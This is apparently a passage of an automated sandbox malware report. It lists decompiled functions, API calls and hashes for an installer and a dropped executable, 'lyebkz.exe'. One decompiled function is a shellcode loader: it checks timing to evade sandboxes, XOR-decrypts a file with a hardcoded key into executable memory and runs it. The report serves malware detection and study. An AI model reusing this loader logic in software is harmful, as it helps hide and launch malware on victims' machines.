				asm("sbb eax, eax");
				_v8 = 0x800;
				_t5 =  &_a4; // 0x422728
				_t21 = E004064D5(__eflags,  *_t5, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20);
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8);
					_t21 = RegCloseKey(_a20);
					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x00406544
0x00406546
0x0040655b
0x0040655e
0x00406563
0x00406568
0x004065a6
0x004065a6
0x0040656a
0x0040657c
0x00406587
0x0040658d
0x00406598
0x00000000
0x00000000
0x00406598
0x004065ac

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,0040A230), ref: 0040657C
RegCloseKey.ADVAPI32(?), ref: 00406587

Strings

"C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx, xrefs: 0040653D
('B, xrefs: 0040655B

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CloseQueryValue
String ID: "C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx$('B
API String ID: 3356406503-2060357249
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: 52dd0fe420a7c1e2827d1a164217834099ee72e945ce70567094b216899e5676
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: C4017C72500209FADF21CF51DD09EDB3BA8EF54364F01803AFD1AA2190D738D964DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405F37 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405F37(WCHAR* _a4) {
				WCHAR* _t9;

				_t9 = _a4;
				_push( &(_t9[lstrlenW(_t9)]));
				_push(_t9);
				if( *(CharPrevW()) != 0x5c) {
					lstrcatW(_t9, 0x40a014);
				}
				return _t9;
			}

0x00405f38
0x00405f45
0x00405f46
0x00405f51
0x00405f59
0x00405f59
0x00405f61

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040362D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405F3D
CharPrevW.USER32(?,00000000), ref: 00405F47
lstrcatW.KERNEL32 ref: 00405F59

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F37

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4017390910
Opcode ID: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction ID: 9007417a49851ea4d61da9c71e51c63d156abd36d345156a737e00ee84923012
Opcode Fuzzy Hash: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction Fuzzy Hash: 59D05E611019246AC111AB548D04DDB63ACAE85304742046AF601B60A0CB7E196287ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040563E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0040563E(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						if(_t15 == 0x419 &&  *0x423734 != _t16) {
							_push(_t16);
							_push(6);
							 *0x423734 = _t16;
							E00404FFF();
						}
						L11:
						return CallWindowProcW( *0x42373c, _a4, _t15, _a12, _t16);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404F7F(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00404610(0x413);
				return 0;
			}

0x00405642
0x0040564c
0x00405668
0x0040568a
0x0040568d
0x00405693
0x0040569d
0x0040569e
0x004056a0
0x004056a6
0x004056a6
0x004056b0
0x00000000
0x004056be
0x00405675
0x004056ad
0x004056ad
0x00000000
0x004056ad
0x00405681
0x00405683
0x00000000
0x00405683
0x00405652
0x00000000
0x00000000
0x00405659
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 0040566D
CallWindowProcW.USER32(?,?,?,?), ref: 004056BE

Part of subcall function 00404610: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404622

Strings

, xrefs: 0040564E

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: a73dc4e993bde12ea44745026bd4b5676165c6f206d332bc9731ab0fc1b08652
Instruction ID: 537e1cae7e4c88fb21f4f8cfd237bdd46b0b38e99f2a5e053ca6ba0093d9a5c8
Opcode Fuzzy Hash: a73dc4e993bde12ea44745026bd4b5676165c6f206d332bc9731ab0fc1b08652
Instruction Fuzzy Hash: 4401B171200608AFEF205F11DD84A6B3A35EB84361F904837FA08752E0D77F8D929E6D

Uniqueness

Uniqueness Score: -1.00%

Function 004060BD Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060BD(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x004060cd
0x004060cf
0x004060d2
0x004060fe
0x004060d7
0x004060e0
0x004060e5
0x004060f0
0x004060f3
0x0040610f
0x004060f5
0x004060fc
0x00000000
0x004060fc
0x00406108
0x0040610c
0x0040610c
0x00406106
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060CD
lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060E5
CharNextA.USER32(00000000), ref: 004060F6
lstrlenA.KERNEL32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060FF

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction ID: 2f06b96f93541eceebcae48a9adfe7aedd37cb678349478f8cad11de2473fd3e
Opcode Fuzzy Hash: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction Fuzzy Hash: 0BF0F631104054FFDB12DFA4CD00D9EBBA8EF06350B2640BAE841FB321D674DE11A798

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: lyebkz.exePID: 2604, Parent PID: 1924COMMON

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	5.7%
Signature Coverage:	5.3%
Total number of Nodes:	1879
Total number of Limit Nodes:	27

Executed Functions

Function 00401000 Relevance: 12.1, APIs: 8, Instructions: 84
sleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00401000(void* __ebx, void* __edi, void* __esi, intOrPtr _a12) {
				long _v16;
				signed int _v20;
				long _v24;
				intOrPtr _v28;
				char* _v32;
				long _v36;
				void* _v40;
				intOrPtr _v60;
				void* __ebp;
				intOrPtr _t42;
				long _t45;
				void* _t47;
				signed int _t58;

				_v40 = 0;
				_v20 = 0;
				_v36 = 0;
				_v32 = "248058040134";
				_v16 = GetTickCount();
				Sleep(0x2be); // executed
				_v24 = GetTickCount();
				if(_v24 - _v16 >= 0x2bc) {
					_t42 = E00401906(_a12, 0x41a010); // executed
					_v28 = _t42;
					_push(2);
					_push(0);
					_push(_v28); // executed
					E004017BB(__ebx, _v28, __edi, __esi, __eflags); // executed
					_push(_v28); // executed
					_t45 = E004016C3(__ebx, _v28, __edi, __esi, __eflags); // executed
					_v36 = _t45;
					_push(0);
					_push(0);
					_push(_v28); // executed
					E004017BB(__ebx, _v28, __edi, __esi, __eflags); // executed
					_t47 = VirtualAlloc(0, _v36, 0x3000, 0x40); // executed
					_v40 = _t47;
					E00401509(_v40, _v36, 1, _v28); // executed
					_v20 = 0;
					while(1) {
						__eflags = _v20 - _v36;
						if(_v20 >= _v36) {
							break;
						}
						asm("cdq");
						 *(_v40 + _v20) =  *(_v40 + _v20) & 0x000000ff ^ _v32[_v20 % 0xc] & 0x000000ff;
						_t58 = _v20 + 1;
						__eflags = _t58;
						_v20 = _t58;
					}
					_v40();
				} else {
				}
				return _v60;
			}

0x00401006
0x0040100d
0x00401014
0x0040101b
0x00401028
0x00401030
0x0040103c
0x0040104a
0x0040105a
0x00401062
0x00401065
0x00401067
0x0040106c
0x0040106d
0x00401078
0x00401079
0x00401081
0x00401084
0x00401086
0x0040108b
0x0040108c
0x004010a1
0x004010a7
0x004010b8
0x004010c0
0x004010d2
0x004010d5
0x004010d8
0x00000000
0x00000000
0x004010dd
0x004010fd
0x004010cc
0x004010cc
0x004010cf
0x004010cf
0x00401101
0x00000000
0x0040104c
0x0040110a

APIs

GetTickCount.KERNEL32 ref: 00401022
Sleep.KERNELBASE(000002BE), ref: 00401030
GetTickCount.KERNEL32 ref: 00401036
_fseek.LIBCMT ref: 0040106D
_ftell.LIBCMT ref: 00401079
_fseek.LIBCMT ref: 0040108C
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000040), ref: 004010A1
__fread_nolock.LIBCMT ref: 004010B8

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: CountTick_fseek$AllocSleepVirtual__fread_nolock_ftell
String ID:
API String ID: 4079035654-0
Opcode ID: 98302ffc4932b560a4fac1108cd9b2c892643303dcc53c9326f564c9fa85b315
Instruction ID: dcb3b119e74108e830e46b5cc3f63bc5bebb2f904d47d662a4372384efc9e28e
Opcode Fuzzy Hash: 98302ffc4932b560a4fac1108cd9b2c892643303dcc53c9326f564c9fa85b315
Instruction Fuzzy Hash: CE314EB0E002199FDB00DFA4DC56BFEBBB0BF48304F104529E611B7291D7799910CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 002408B7 Relevance: 6.5, APIs: 4, Instructions: 483
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.984097182.0000000000240000.00000040.00001000.00020000.00000000.sdmp, Offset: 00240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_240000_lyebkz.jbxd

Similarity

API ID: AllocNumaVirtual
String ID:
API String ID: 4233825816-0
Opcode ID: a7c580f6139585de268896f1776a6c25d190ebef7fb1b5987543ec3ee5dd0687
Instruction ID: dc2ea24729b2d0253f69745f7ee40adb3dc5d4e0e8ebb1597773999a5f76cf06
Opcode Fuzzy Hash: a7c580f6139585de268896f1776a6c25d190ebef7fb1b5987543ec3ee5dd0687
Instruction Fuzzy Hash: 31227520D5D2D9ADDF06CBE984517FDBFB05E26201F0845C6E5E0B6283C13A839E9B25

Uniqueness

Uniqueness Score: -1.00%

Function 002407DA Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE(?), ref: 002407F7

Memory Dump Source

Source File: 00000006.00000002.984097182.0000000000240000.00000040.00001000.00020000.00000000.sdmp, Offset: 00240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_240000_lyebkz.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: fa2979548fe31277adddc85b40786a5f89b5b758f8f4ce622a53a7dd496667a7
Instruction ID: 3719ef45d24630924a01786e39a02791583fbaae8522c1648bbb936b05ac5c8d
Opcode Fuzzy Hash: fa2979548fe31277adddc85b40786a5f89b5b758f8f4ce622a53a7dd496667a7
Instruction Fuzzy Hash: A1F0A771D2410CABDB0CEAB899856BE77ACDB48300F10457DE706E2141D534899046A0

Uniqueness

Uniqueness Score: -1.00%

Function 00240EE0 Relevance: 10.7, APIs: 7, Instructions: 194
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,?,?,?,?,00241776,7FAB7E30), ref: 00240FA6
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,?,?,?,?,?,?,?,00241776,7FAB7E30,00241434,00000000,00000040), ref: 00240FD0
ReadFile.KERNELBASE(00000000,00000000,0000000E,7FAB7E30,00000000,?,?,?,?,?,?,?,00241776,7FAB7E30,00241434,00000000), ref: 00240FE7
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,?,?,?,?,?,?,?,00241776,7FAB7E30,00241434,00000000,00000040), ref: 00241009
CloseHandle.KERNELBASE(00000000,?,?,?,?,?,?,?,00241776,7FAB7E30,00241434,00000000,00000040,?,00000000,0000000E), ref: 0024107B
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,00241776,7FAB7E30,00241434,00000000,00000040,?), ref: 00241086
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,00241776,7FAB7E30,00241434,00000000,00000040,?), ref: 002410D1

Memory Dump Source

Source File: 00000006.00000002.984097182.0000000000240000.00000040.00001000.00020000.00000000.sdmp, Offset: 00240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_240000_lyebkz.jbxd

Similarity

API ID: Virtual$AllocFileFree$CloseCreateHandleRead
String ID:
API String ID: 721982790-0
Opcode ID: 4f748daaf124b4c23be61dd2c31c97865e232b5f77f10be233182db2a86c22fb
Instruction ID: d200a6134b1e57d90ae77681a8f3560dcf475280ecfe2ae99c6fd92613bbbf6d
Opcode Fuzzy Hash: 4f748daaf124b4c23be61dd2c31c97865e232b5f77f10be233182db2a86c22fb
Instruction Fuzzy Hash: 1351BF71E20359BBDB249FF4CC84BAEB7B8AF08710F105525FA50F7281E77599A08B64

Uniqueness

Uniqueness Score: -1.00%

Function 0040124C Relevance: 10.7, APIs: 7, Instructions: 189
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E0040124C(signed int __edx, char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t90;
				intOrPtr* _t92;
				signed int _t94;
				char _t97;
				signed int _t105;
				void* _t106;
				signed int _t107;
				signed int _t110;
				signed int _t113;
				intOrPtr* _t114;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				char* _t121;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t134;

				_t125 = __edx;
				_t121 = _a4;
				_t119 = _a8;
				_t131 = 0;
				_v12 = _t121;
				_v8 = _t119;
				if(_a12 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t138 = _t121;
					if(_t121 != 0) {
						_t133 = _a20;
						__eflags = _t133;
						if(_t133 == 0) {
							L9:
							__eflags = _t119 - 0xffffffff;
							if(_t119 != 0xffffffff) {
								_t90 = E00402400(_t131, _t121, _t131, _t119);
								_t134 = _t134 + 0xc;
							}
							__eflags = _t133 - _t131;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t94 = _t90 | 0xffffffff;
								_t125 = _t94 % _a12;
								__eflags = _a16 - _t94 / _a12;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t131 = _a12 * _a16;
								__eflags =  *(_t133 + 0xc) & 0x0000010c;
								_v20 = _t131;
								_t120 = _t131;
								if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t133 + 0x18));
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t133 + 0xc) & 0x0000010c;
										if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t120 - _v16;
											if(_t120 < _v16) {
												_t97 = E00401B67(_t120, _t125, _t133); // executed
												__eflags = _t97 - 0xffffffff;
												if(_t97 == 0xffffffff) {
													L48:
													return (_t131 - _t120) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L44:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E00402400(_t131, _a4, 0, _a8);
														_t134 = _t134 + 0xc;
													}
													 *((intOrPtr*)(E00402673(__eflags))) = 0x22;
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													L4:
													E004025F0(_t125, _t131, _t133);
													goto L5;
												}
												_t123 = _v12;
												_v12 = _v12 + 1;
												 *_v12 = _t97;
												_t120 = _t120 - 1;
												_t70 =  &_v8;
												 *_t70 = _v8 - 1;
												__eflags =  *_t70;
												_v16 =  *((intOrPtr*)(_t133 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t105 = 0x7fffffff;
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t105 = _t120;
												}
											} else {
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t55 = _t120 % _v16;
													__eflags = _t55;
													_t125 = _t55;
													_t110 = _t120;
												} else {
													_t125 = 0x7fffffff % _v16;
													_t110 = 0x7fffffff;
												}
												_t105 = _t110 - _t125;
											}
											__eflags = _t105 - _v8;
											if(_t105 > _v8) {
												goto L44;
											} else {
												_push(_t105);
												_push(_v12);
												_t106 = E00402351(_t133);
												_pop(_t123);
												_push(_t106); // executed
												_t107 = E00402254(_t120, _t125, _t131, _t133, __eflags); // executed
												_t134 = _t134 + 0xc;
												__eflags = _t107;
												if(_t107 == 0) {
													 *(_t133 + 0xc) =  *(_t133 + 0xc) | 0x00000010;
													goto L48;
												}
												__eflags = _t107 - 0xffffffff;
												if(_t107 == 0xffffffff) {
													L47:
													_t80 = _t133 + 0xc;
													 *_t80 =  *(_t133 + 0xc) | 0x00000020;
													__eflags =  *_t80;
													goto L48;
												}
												_v12 = _v12 + _t107;
												_t120 = _t120 - _t107;
												_v8 = _v8 - _t107;
												goto L39;
											}
										}
										_t113 =  *(_t133 + 4);
										__eflags = _t113;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L47;
										}
										_t131 = _t120;
										__eflags = _t120 - _t113;
										if(_t120 >= _t113) {
											_t131 = _t113;
										}
										__eflags = _t131 - _v8;
										if(_t131 > _v8) {
											_t133 = 0;
											__eflags = _a8 - 0xffffffff;
											if(__eflags != 0) {
												E00402400(_t131, _a4, 0, _a8);
												_t134 = _t134 + 0xc;
											}
											_t114 = E00402673(__eflags);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											 *_t114 = 0x22;
											_push(_t133);
											goto L4;
										} else {
											E00402383(_t120, _t123, _v12, _v8,  *_t133, _t131);
											 *(_t133 + 4) =  *(_t133 + 4) - _t131;
											 *_t133 =  *_t133 + _t131;
											_v12 = _v12 + _t131;
											_t120 = _t120 - _t131;
											_t134 = _t134 + 0x10;
											_v8 = _v8 - _t131;
											_t131 = _v20;
										}
										L39:
										__eflags = _t120;
									} while (_t120 != 0);
									goto L40;
								}
							}
						}
						_t118 = _t90 | 0xffffffff;
						_t90 = _t118 / _a12;
						_t125 = _t118 % _a12;
						__eflags = _a16 - _t90;
						if(_a16 <= _t90) {
							goto L13;
						}
						goto L9;
					}
					L3:
					_t92 = E00402673(_t138);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					 *_t92 = 0x16;
					_push(_t131);
					goto L4;
				}
			}

0x0040124c
0x00401254
0x00401258
0x0040125d
0x0040125f
0x00401262
0x00401268
0x0040128b
0x00000000
0x0040126f
0x0040126f
0x00401271
0x00401292
0x00401295
0x00401297
0x004012a6
0x004012a6
0x004012a9
0x004012ae
0x004012b3
0x004012b3
0x004012b6
0x004012b8
0x00000000
0x004012ba
0x004012ba
0x004012bf
0x004012c2
0x004012c5
0x00000000
0x00000000
0x004012c7
0x004012ca
0x004012ce
0x004012d5
0x004012d8
0x004012da
0x004012e4
0x004012dc
0x004012df
0x004012df
0x004012eb
0x004012ed
0x004013dd
0x00000000
0x004012f3
0x004012f3
0x004012f3
0x004012fa
0x00401340
0x00401340
0x00401343
0x004013ae
0x004013b4
0x004013b7
0x00401442
0x00000000
0x00401448
0x004013bd
0x004013c1
0x00401411
0x00401411
0x00401415
0x0040141f
0x00401424
0x00401424
0x0040142c
0x00401434
0x00401435
0x00401436
0x00401437
0x00401438
0x00401283
0x00401283
0x00000000
0x00401288
0x004013c3
0x004013c6
0x004013c9
0x004013ce
0x004013cf
0x004013cf
0x004013cf
0x004013d2
0x00000000
0x004013d2
0x00401345
0x00401349
0x0040136a
0x0040136f
0x00401371
0x00401373
0x00401373
0x0040134b
0x00401352
0x00401354
0x00401361
0x00401361
0x00401361
0x00401364
0x00401356
0x00401358
0x0040135b
0x0040135b
0x00401366
0x00401366
0x00401375
0x00401378
0x00000000
0x0040137e
0x0040137e
0x0040137f
0x00401383
0x00401388
0x00401389
0x0040138a
0x0040138f
0x00401392
0x00401394
0x00401450
0x00000000
0x00401450
0x0040139a
0x0040139d
0x0040143e
0x0040143e
0x0040143e
0x0040143e
0x00000000
0x0040143e
0x004013a3
0x004013a6
0x004013a8
0x00000000
0x004013a8
0x00401378
0x004012fc
0x004012ff
0x00401301
0x00000000
0x00000000
0x00401303
0x00000000
0x00000000
0x00401309
0x0040130b
0x0040130d
0x0040130f
0x0040130f
0x00401311
0x00401314
0x004013e5
0x004013e7
0x004013eb
0x004013f4
0x004013f9
0x004013f9
0x004013fc
0x00401401
0x00401402
0x00401403
0x00401404
0x00401405
0x0040140b
0x00000000
0x0040131a
0x00401323
0x00401328
0x0040132b
0x0040132d
0x00401330
0x00401332
0x00401335
0x00401338
0x00401338
0x004013d5
0x004013d5
0x004013d5
0x00000000
0x004012f3
0x004012ed
0x004012b8
0x00401299
0x0040129e
0x0040129e
0x004012a1
0x004012a4
0x00000000
0x00000000
0x00000000
0x004012a4
0x00401273
0x00401273
0x00401278
0x00401279
0x0040127a
0x0040127b
0x0040127c
0x00401282
0x00000000
0x00401282

APIs

_memset.LIBCMT ref: 004012AE
_memcpy_s.LIBCMT ref: 00401323
__fileno.LIBCMT ref: 00401383
__read.LIBCMT ref: 0040138A
__filbuf.LIBCMT ref: 004013AE
_memset.LIBCMT ref: 004013F4
_memset.LIBCMT ref: 0040141F

Part of subcall function 00402673: __getptd_noexit.LIBCMT ref: 00402673

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
